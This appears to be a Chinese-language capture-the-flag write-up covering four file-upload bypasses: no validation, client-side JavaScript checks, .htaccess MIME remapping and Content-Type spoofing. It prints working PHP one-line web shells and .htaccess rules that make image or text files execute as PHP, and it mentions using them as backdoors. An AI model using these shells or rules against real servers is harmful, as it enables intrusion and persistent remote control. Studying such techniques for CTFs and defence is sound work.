一、无验证
需要用到的:
(1)一句话木马
(2)中国蚁剑
由题意得改题目不会对我们上传的文件进行检测过滤,所以写一个一句话木马上传
<?php eval($_POST['password']);?>
上传成功后,用蚁建和网站进行连接
进入文件目录,找到flag_545955.php文件,打开得到flag。
二、前端验证
需要用到的:
(1)一句话木马
(2)中国蚁剑
(3)burpsuite抓包改包
打开源码
function checkfilesuffix()
{
var file=document.getElementsByName('file')[0]['value'];
if(file==""||file==null)
{
alert("请添加上传文件");
return false;
}
else
{
var whitelist=new Array(".jpg",".png",".gif");
var file_suffix=file.substring(file.lastIndexOf("."));
if(whitelist.indexOf(file_suffix) == -1)
{
alert("该文件不允许上传");
return false;
}
}
}
它只允许 jpg、png、gif 格式上传
思路:将一句话木马的后缀改为这三种格式的任意一种,然后利用burp suite抓包,将后缀去掉,文件上传成功,再利用蚁剑连接
三、.htaccess
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
许多服务器还允许开发人员在各个目录中创建特殊的配置文件,以便覆盖或添加一个或多个全局设置。例如,Apache 服务器将从一个名为(.htaccess如果存在)的文件中加载特定于目录的配置。Web 服务器使用这些类型的配置文件,但通常不允许您使用HTTP请求访问它们。但是,您可能偶尔会发现无法阻止您上传自己的恶意配置文件的服务器在,这种情况下.即使您需要的文件扩展名被列入黑名单,您也可以欺骗服务器将任意自定义文件扩展名映射到可执行的MIME 类型。
如果当你上传文件的时候发现你的脚本文件被阻止上传,你可以尝试上传.htaccess文件。在.htaccess文件里面将你的文件扩展名映射到可执行MIME类型。只需要添加一句话:
AddType application/x-httpd-php .html(则html文件也能执行.php文件)
AddType application/x-httpd-php .txt(则普通的文本文档也能执行.php文件)
.htaccess 文件上传漏洞原理:
一般.htaccess可以用来留后门和针对黑名单绕过
创建一个txt写入
AddType application/x-httpd-php .png
打开另存为
保存类型为所有文件
让 png 解析为 php
还可以把png改成其他图片格式~例如jpeg、gif等等...
另外,还有一个知识~(此题没用到这部分知识)
可以在.htaccess 加入php解析规则
类似于把文件名包含1的解析成php
<FilesMatch "1">
SetHandler application/x-httpd-php
</FilesMatch>
1.png 就会以php执行
当上传php文件,加上后缀都不成功时可以尝试该方法
题解:新建txt文件,写入以下代码
#将txt文件解析为PHP文件执行
AddType application/x-httpd-php .txt
将该.txt文件更改后缀为.htaccess,上传成功
再新建一个shell.txt,写入PHP代码
<?php
echo "PHP Loaded";
eval(@$_POST['a']);
?>
上传成功,蚁剑建立连接
四、MIME绕过
MIME多用途互联网邮件扩展类型。它是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式每个MIME类型由两部分组成,前面是数据的大类别,例如声音 audio、图像 Image等,后面定义具体的种类。
常见的MME类型,例如:
超文本标记语言文本 .html,html text/htm
普通文本 .txt text/plain
RTF文本. rtf application/rtf
GIF图形 .gif image/gif
JPEG图形 . jpg image/jpeg
MIME类型校验就是我们在上传文件到服务端的时候,服务端会对客户端也就是我们上传的文件的Content-Type类型进行检测,如果是白名单所允许的,则可以正常上传,否则上传失败。
题解:新建一个一句话木马的php文件,上传时用burpsuite抓包,将Content-Type为image/jpeg,上传成功,蚁剑连接